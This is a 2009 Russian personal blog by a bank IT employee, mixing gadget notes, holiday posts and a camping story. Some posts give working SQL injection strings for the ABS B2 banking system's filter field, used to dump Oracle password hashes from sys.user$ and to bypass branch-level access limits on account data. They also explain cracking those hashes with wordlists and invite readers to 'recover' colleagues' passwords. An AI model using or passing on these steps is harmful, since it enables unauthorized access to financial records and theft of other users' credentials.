понедельник, 30 ноября 2009 г.

Gemix KB-150

Купил клавиатуру gemix kb-150.

Минусы: ужасная клавиша пробела.
Плюсы: слим-формат, не большой ход кнопок, нормальное расположение всех клавиш, копеечная цена )))

PostgreSql

Сегодня установил postgres на убунту. Оказывается процесс немножко отличается от установки на windows и в конце установки он не запрашивает пароль на созданную базу.
Чтобы исправить положение необходимо выполнить:
sudo -u postgres psql postgres

и в открывшемся соединении с базой выполнить:
\password postgres

пятница, 9 октября 2009 г.

Lotus Notes. Отправка писем через javascript.


Лотус очень интересная штука, оказывается можно незаметно для пользователя отправлять письма из сторонних приложений, если у него запущен клиент lotus notes. Даже если он не запущен, то при обращении к библиотеки notes он автоматически запуститься.

понедельник, 28 сентября 2009 г.

Найти работу - просто!


Так утверждают дизайнеры компании BlackBird Custom и предлагают разместить свое резюме на футболке. Вот правда на улице уже похолодало и в такой футболочке сильно не походишь, но на будущее очень хорошая идея )))

Понедельник


Это точная копия кабинета моего руководства!

четверг, 24 сентября 2009 г.

Пиво - двигатель прогресса.


Обсуждая существующие движки cms-систем, сразу вспомнили двух гигантов drupal и joomla. Но кто же из них более гибкий и легкий в построении сложных проектов? Ответить на который будет сразу не возможно. Поэтому за очередной бутылочкой пивка мы решили устроить соревнование! Необходимо один и тот же сайт сделать на разных движках. Кто будет легче и быстрей - тот и победит. Приз - ящик пива.

среда, 23 сентября 2009 г.

Мы в ответе за тех кого приручили!


Всем, всем, всем, кто желает сделать приятный сюрприз любимому человеку в виде букета с роскошными цветами заходите на сайт http://buket.dn.ua. С помощью профессиональных флористов вы сможете выбрать, а также сформировать свой собственный букет по очень заманчивым ценам! Также присутствует бесплатная доставка по г.Донецку и Донецкой области.

воскресенье, 13 сентября 2009 г.

А сегодня ведь 13 сентября!

Нарушая, в очередной раз, свое обещание о том, что буду писать в блоге только в будние дни, спешу поздравить всех программистов с их профессиональным праздником - с днем программиста! Хотя данный праздник утвержден только на территории российской федерации, день этот встретят многие специалисты всего мира с бокалом пива.

Предыстория:
День программи́ста — профессиональный (и в России теперь официальный) праздник программистов, отмечаемый на 256-й день года (255-й с нуля). Число 256 (28) выбрано потому, что это количество чисел, которое можно выразить с помощью восьмиразрядного байта. Также «256» в шестнадцатеричной системе счисления — это «100» («0x100»). И также это максимальная степень числа 2, которая меньше 365 (дней в году).
В невисокосный год данный праздник выпадает на 13 сентября, a в високосный год на 12 сентября.
Впервые отмечать 256-й день года как профессиональный праздник программистов предложил Валентин Балт, сотрудник веб-студии «Параллельные Технологии». Еще в 2002 году он даже пытался собрать подписи под обращением к правительству РФ в поддержку признания этого дня Официальным праздником.
Copyright (с) День программиста — Википедия.
 

И на последок, интересная цитата:
И, оказывается, стать программистом гораздо легче, чем кажется. Для этого вовсе необязателен компьютер. 10 лет назад свекровь освоила программирование видеомагнитофона, и он послушно пишет телепередачи, когда хозяйка уезжает в отпуск: еженедельные, ежевечерние плюс повторы по утрам, да еще с запасом на рекламу… А одна моя знакомая отлично знает технику программирования окружающих: мужчины, женщины и дети пляшут под ее дудку в полной уверенности, что поступают как хотят. А можно ли назвать величайшим программистом того, кто создал сушу и море, землю, звезды и далее – вплоть до человека? Есть «железо», есть операционная система, драйверы и утилиты и даже вирусы – все как полагается, и уж сколько лет работает под чутким наблюдением…
Пойду-ка и я запрограммирую остаток этого вечера! Дам задание стиральной машине, нажму пару кнопок на микроволновке, поставлю диск с тихой музыкой и заведу будильник на семь утра. Чтобы не проспать программу следующего дня.
Copyright (с) Татьяна Сальникова (нашел здесь).

пятница, 7 августа 2009 г.

четверг, 6 августа 2009 г.

Пасхальное яйцо в АБС Б2.

Хм, нашел пасхальное яйцо, оставленное разработчиками АБС Б2. Например, для вывода списка создателей продукта необходимо зайти на форму "справка/о программе" и зажав ctrl+shift щелкнуть левой клавишей мышки два раза на значке Б2. А для вывода смешных советов там-же нажать ctrl+shift и щелкнуть один раз правой клавишей мышки.

Спасибо разработчикам компании CS ltd, повеселили! )))

вторник, 4 августа 2009 г.

Волшебство Kubuntu.


После жесткой борьбы за стабильную работу в среде archlinux'а, мне попал образ дистрибутива kubuntu. Запустил vmware и установил в три клика мышкой эту, довольно интересную, сборку. Понравилось.

понедельник, 3 августа 2009 г.

Сон под открытым небом.

Отступая от компьютерных тем, хотел поделиться своими впечатлениями о прошедшем на этих выходных отдыхе. В пятницу, мы с ребятами решили выехать на природу, да отметить день системного администратора.

День первый.
Сразу после рабочего дня посетили метро, набрали еды и много пива, бросили все в машину и поехали. Когда добрались до пункта нашей стоянки было уже достаточно поздно. Под освещением ближнего света фар машины была установлена палатка и разожжен костер. Ранее на этом месте мы не останавливались, поэтому была некоторая сложность в поиске дров для поддержания огня. Нас хватило только до двух часов, после чего мы решили лечь спать.

День второй.
Утро началось где-то в шесть часов. Решили сразу перекусить и пошли разведывать места, где остановились, и заодно поискать дрова. Через некоторое время возле палатки образовался небольшой запас дровишек. Разожгли костер и стали ждать еще двух ребят, которые вчера не смогли с нами приехать. Когда все собрались был уже полдень - принесли еще дровишек и начали готовить кушать. Небо затянуло легкими тучками и пошел освежающий дождик, поэтому обедать пришлось в палатке. Как быстро началась, так быстро и закончилась "плохая погода" - снова светило солнышко и все выползли из-под крыши и улеглись отдыхать возле костра. Я, вымотанный до потери пульса, спал до вечера. Вечер прошел очень быстро, все очень рано начали разбегаться по кроваткам. Около десяти вечера никого уже не было возле. Я остался один - один сопели в платке, другие в машине. Я решил остаться под открытым небом - пробегали легкие облачка. Если что вернусь в палатку, ребята для меня обязательно держат одно место.
Накидал дров в пламя и решил немного вздремнуть. Не успев сомкнуть глаза, ко мне пришел первый ночной посетитель - присел возле костра прикурил сигаретку, поблагодарил и испарился во тьме. Задремал ...
- "Холодно, жуть как холодно.... что происходит, где я", подумал я просыпаясь в два ночи возле почти полностью потухшего огня... я в ужасе начал на темную искать в кучке маленькие веточки, чтобы разжечь его...
"Получилось, ура! Он снова горит, становиться теплее...". Пришел очередной ночной посетитель - присел, прикурил от костра, поблагодарил и испарился.
Каждый часик, приходилось подбрасывать дровишек, как будто ухаживаешь за маленьким ребенком... Я смотрел на небо, тучки разбежались, появились звездочки. Звезд было много и становилось светлее от луны, которая стала еще ярче светить при отсутствии облачков...
К четырем часам появились очередные посетители с фразой, которая меня очень задела "здравствуй, хозяин костра". Было очень приятно - я стал более гостеприимен. Они сели со мною вокруг огонька. Все трое были местными, с ближайшего села, ребятами. Пришли они с двумя, только что, пойманными рыбешками, соком в трех-литровой банке и водкой. Попросились приготовить свою рыбку на моем огоньке... я не мог отказать, уж больно любезными они оказались ребятами - немного громкими, но забавными. Они в этот момент праздновали день рождения третьего паренька.
Пили их водку, сок, грызли рыбку, поговорили о жизни их местной... Двое уехали за пивом на такси домой - было очень эффектно - около пяти ночи ребята звонят и просят машинку на край света и в течении двадцати минут она приезжает! Был шокирован! Остался один парнишка - допили водку, обсудили проблемы, он испортил наш пляжик содержимым своего желудка, попросил прощения, поблагодарил за гостеприимство и ушел в темноту... Через десяток минут начало светать... было очень красиво, но глаза закрывались - половина шестого, закрыл глазки и уснул.

День третий.
Утро началось с обсуждения моих товарищей, мол от куда у него взялась водка, рыба и сок. Старался игнорировать и еще немного поспать. Они продолжали. Хоть было мало времени пришлось вставать и рассказывать о своих ночных гостях. Все смеялись, в некоторых моментах даже не веря мне. Но мне было что вспомнить, чем с вами и делюсь!
Утром позавтракали, ребята пошли поплавать на матрасе, на котором я спал ночью и который пострадал от пылающего и стреляющего костра. Пообедали арбузом, перекусили тем, что осталось с предыдущего дня... собрали вещи и поехали в село.


День тот-же. Праздник 230-летия села "раздольное".
Нас еще в пятницу пригласили на праздник день села. Село греческое, его родное название я с трудом могу произнести, а тем более написать. В это время на сцене выступали местные одаренные дети. На улице продавали разные вкусности и разные напитки. На удивление не было "быдло", все кто посещал выступления были адекватны и приветствовали выступающих!

Дом! Милый дом!
Пока нас везли домой, я вздремнул. Было замечательно, тело гудело от такого отдыха, моск требовал дополнительного выходного. Хотелось перекусить, хотелось освежиться и хотелось чего-нибудь перекусить... Часть своих желаний было удовлетворенно, но спать лег не сразу - после выпитой кружки горячего, горького кофе - пришлось еще посмотреть два фильма по телевизору перед тем как получилось уснуть...

На этом мои приключения закончились, я уснул и даже во-время проснулся чтобы идти на работу... ))

пятница, 31 июля 2009 г.

День сисадмина - 10 лет!

Поздравляю!
Сегодня, 31 июля 2009 года, день системного администратора отмечает свое десятилетие!

История.
История профессионального праздника — Дня системного администратора, или, в американском варианте — Дня благодарности системному администратору (System Administrator Appreciation Day) — начинается с 1999 года. В один прекрасный день системному администратору из Чикаго Тэду Кекатосу (Ted Kekatos) пришла в голову мысль организовать профессиональный праздник своих коллег.

Первым шагом к осуществлению данной идеи послужило то, что Тэд официально зарегистрировал домен SysAdminDay.com и создал там веб-сайт. Он решил отмечать День системного администратора в последнюю пятницу июля.

Так и повелось, каждый год, в последнюю пятницу июля, администраторы корпоративных и домашних сетей, баз данных, почтовых систем, программных комплексов и другие «бойцы невидимого фронта» отмечают свой профессиональный праздник.

Интересно.
Кстати, в том же 1999 году Папа Римский Иоанн Павел II официально назвал Святого Исидора покровителем пользователей компьютеров и сети Интернет.

Заключение.
Если вы читаете эти строки, то поблагодарите сасадмина и помните, что он или она — это только один из сотен или даже тысяч тех, чьим трудом электронные письма бесперебойно приходят в ваш ящик, осуществляется бесплатный звонок в любой уголок планеты, приходят любимые рассылки и читаются полезные сайты.

Авторские права. использовался материал сайта www.calend.ru

четверг, 30 июля 2009 г.

АБС Б2. Получение hashkeys.

Решил сделать отдельный пост посвященный именно получению хэш-паролей. Он будет продолжением предыдущего поста "Хранение паролей в Oracle" и дополнением к посту "АБС Б2. Ограничили доступ?".

Платформа для экспериментов в АБС Б2.
Заходим на формочку /Документы/Подтипы документов/ она состоит из трех полей. Это нам дает возможность создавать маленькие подзапросики для вывода нужной нам информации. Например, вывод хэша из таблицы user$ ))).

Формируем пользовательский фильтр.
На форме нажимаем F7, отобразиться форма фильтров, нажимаем на "редактировать" начинаем настраивать сам пользовательский фильтр. Выбираем поле "Код", операцию "одно из" и в значение прописываем строку:
0) union select user#, name, password from sys.user$ where password is not null order by 2 --
После нажимаем применить и принять. На форму выведется результат запроса в виде:
id | user | hashkey
--------------------
1 | sys | 89nf838v
...| ... | ...
А что делать с полученными данными было написано в предыдущем посте ...

среда, 29 июля 2009 г.

Хранение паролей в Oracle.

В сети встречал статьи с описанием метода хранения паролей в базе данных Oracle. Вот пришло время проверить на практике данные теории. В базе существует таблица user$, в которой хранятся хэши паролей пользователей. Заглянем в нее и выберем из нее хэши тех пользователей, которые нас интересуют. Например, SYS.

Немного теории - алгоритм создания хэша:

  1. Конкатенировать логин и пароль пользователя (обозначим эту операцию ||).
  2. Преобразовать полученную строку к верхнему регистру (UPPER(Логин||Пароль)).
  3. Если в ОС используется однобайтовая кодировка, то преобразовать каждый символ в двухбайтовый, заполнив старший байт нулями (0x00).
  4. Зашифровать получившуюся строку (дополняя ее нулями до длины блока), используя алгоритм DES в режиме CBC с фиксированным ключом, значение которого есть 0x0123456789ABCDEF.
  5. Зашифровать получившуюся строку еще раз с помощью DES-CBC, но используя последний блок предыдущего шага как ключ шифрования.
По адресу http://www.red-...ords.html находится замечательная статья с которой все началось, а также программка позволяющая осуществить подбор пароля по словарю. Моя история заканчивается на моменте, что в словарях, находящихся в архиве, присутствовал пароль установленный на системном пользователе.

АБС Б2. Невероятный реверс.
Разработчики программного комплекса АБС Б2, немного повысили безопасность, и пароль пользователя немного преобразовывают, перед тем как с этими данными будет выполнено подключение к базе данных. Сделали они довольно просто - проведя реверс строки с паролем. Поэтому если вы захотите "восстановить" пароли своих сотоварищей, то сделайте реверс паролей в файле wordlist и вперед... )))

пятница, 24 июля 2009 г.

Arch Linux. Очередной этап безделия.

Задача.
Решил на рабочей машинке установить linux и проверить его возможности в качестве рабочей операционной системы. Все что от нее может потребоваться - работа с офисными документами, почтовый клиент lotus notes, возможность подключаться к терминальному серверу через rdp и конечно-же Firefox.

Решение.
Выбор пал на маленький дистрибутив archlinux'а. Установка заняло много времени, т.к. возникали вопросы на которые я не знал где искать ответы. После войны в 3 дня на моем компьютере уже красовался archlinux со своим знаменитым KDE4.2.

Приложения.
OpenOffice заменил стандартный офисный пакет от Microsoft.
Firefox - любимый браузер, который я пока не собираюсь менять.
Lotus Notes был запущен с windows-раздела при помощи Wine.
Krdc - клиент удаленного рабочего стола.

Проблемы.
Единственная проблема - шрифты. То не отображают текст, то очень коряво смотрятся.

вторник, 21 июля 2009 г.

UPC online. Изменение внешнего вида.

В прошлом месяце изменился интерфейс "upc-online". Как и ранее, в новой версии представления данных разработчики показывают на главной странице только номера банкоматов, без их названий, поэтому пришла в голову идея - написать скритп greasemonkey, который будет дополнять номера названием и расположением девайса.

//==UserScript==
//@name UPC OnLine
//@namespace http://userscripts.org/
//@description UPC OnLine AutoRedirect, AutoReload
//@include https://<>/*
//==/UserScript==

mas_orig = new Array(
"1111", // 1
"2222", // 2
// ...
"9999" // 99
);

mas_lang = new Array(
"название и адрес банкомата 1111", // 1
"название и адрес банкомата 2222", // 2
// ...
"название и адрес банкомата 9999" // 99
);

if( /monitor.cfm/.test( location.href ) )
{
window.setTimeout( "window.location.href = window.location.href;", 360000 );
snapResults = document.evaluate( "//a[@class='datalink']", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null );
for( i = 0; i < snapResults.snapshotLength; i++ ) {
for( j in mas_orig )
if( mas_orig[ j ] == snapResults.snapshotItem( i ).childNodes[ 0 ].data )
{

snapResults.snapshotItem( i ).childNodes[ 0 ].data = mas_lang[ j ];
}
}
}
}

if( /news.cfm/.test( location.href ) )
{
window.location.href = window.location.href.replace( /news/, "atm/monitor" );
}
Также в скрипт воткнул авто-переход на страницу мониторинга банкоматов и авто-перезагрузку страницы с периодичностью в три минуты.

понедельник, 20 июля 2009 г.

АБС Б2. Ограничили доступ?

Думаю вы замечали что разработчики в своем продукте Б2 прибегали к довольно интересным "пользовательским фильтрам" для отображения необходимых данных при переходе на другую форму. Такой трюк заставил обратить на себя внимание и отпечатался где-то далеко в памяти. После того как мои права ограничили я сразу вспомнил о подзапросах разработчиков.

Документация.
Изучение мануалов дало понять что никаких ограничений не существует в формировании "пользовательского фильтра", кроме ограничения - фантазии и знания азов SQL.

Пример.
Заглянем на форму "счета\аналитические счета". Обычная форма, вывод данных согласно выданных прав - просмотр одного отделения. Форма по-умолчанию смотрит на вьювер VAACCOUNT, который загружает данные с VIntAAccount. В последнем вьювере идет проверка прав и соответствующий вывод данных. Немножко меняем, точнее удаляем из него проверки, и получаем чистый запрос - возвращающий информацию о всех счетах - экранируем его скобочками, полученный результат указан ниже. Теперь мы готовы к проверке - нажимаем F7 и приступаем к редактированию "пользовательского фильтра".

Рис. 1 - редактор пользовательского фильтра.

В редакторе выбираем операцию "одно из", указываем совершенно любое "поле" и в "значение" вставляем запрос который у нас получился:
0) union (SELECT a.ID, a.accountno, a.description, b.ID baccountid, SUBSTR (b.NAME, 1, 25) baccountsname, b.activepassive_a090 activepassive, c.ID contragentid, c.sname contragentsname, c.nickname contragentnickname, c.contragrankid contragrankid, contragrank.sname contragranksname, a.lockremark, cur.ID currencyid, cur.sname currencysname, a.dateopen, a.datelastmove, a.dateclose, DECODE (SIGN (a.summabegin), -1, -a.summabegin, 0) summabeginactive, DECODE (SIGN (a.summabegin), 1, a.summabegin, 0) summabeginpassive, DECODE (SIGN (a.summanow), -1, -a.summanow, 0) summanowactive, DECODE (SIGN (a.summanow), 1, a.summanow, 0) summanowpassive, a.debet, a.credit, DECODE (SIGN (a.summanowvirtual), -1, -a.summanowvirtual, 0) summanowvirtualactive, DECODE (SIGN (a.summanowvirtual), 1, a.summanowvirtual,0) summanowvirtualpassive, astate.ID accountstateid, astate.sname accountstatesname, a.parentbaccountid, a.accountlimit, a.OPERATOR, a.summabegin,a.summanow, a.accountpassport, ABS (a.summabegin) abssummabegin, ABS (a.summanow) abssummanow, a.isparent, a.activatedate, a.auth_actionid auth_actionid, DECODE (NVL (a.auth_actionid, 0), 1, 'Добавление', 2, 'Изменение', 3, 'Удаление', 'нет' ) auth_action_name, a.approvedby approvedby, a.approveddate approveddate, a.modifiedby modifiedby, a.toboid, tobo.sname tobosname, a.special, a.siteid, a.BeginCloseDate, to_date(null) arcdate, substr(a.accountno, 6) accountcode FROM aaccount a, baccount b, contragent c, contragrank, currency cur, accountstate astate, tobo WHERE a.baccountid = b.ID AND a.contragentid = c.ID AND a.currencyid = cur.ID AND a.accountstateid = astate.ID AND c.contragrankid = contragrank.ID AND tobo.ID = a.toboid AND c.siteid = a.siteid AND tobo.siteid = a.siteid and a.accountstateid != 2
Замечания.
Для корректной работы "пользовательских sql-запросов" необходимо проверить, чтобы сортировка полей была выключена.

Домашнее задание.
1. Кто знает способ корректно обрабатывать сортировки, о которых я написал в замечании, прошу сообщить в комментария, думаю это будет полезно для всех.
2. Пишите запросы которые вас выручили в трудную минуту.

воскресенье, 19 июля 2009 г.

Вступительное слово

На мой взгляд, каждый сталкивался с переизбытком свободного времени на работе. Тоже приключилось и со мною, после воплощения в жизнь, головной конторой, проекта с кодовым названием "централизация" - у нашего отдела были урезаны права доступа к программным комплексам, работающих в организации.

С уменьшением прав пропорционально росло свободное время.

Хоть мой блог и первый пост были созданы в выходной день, обязуюсь последующие сообщения размещать в будни с рабочего компьютера )))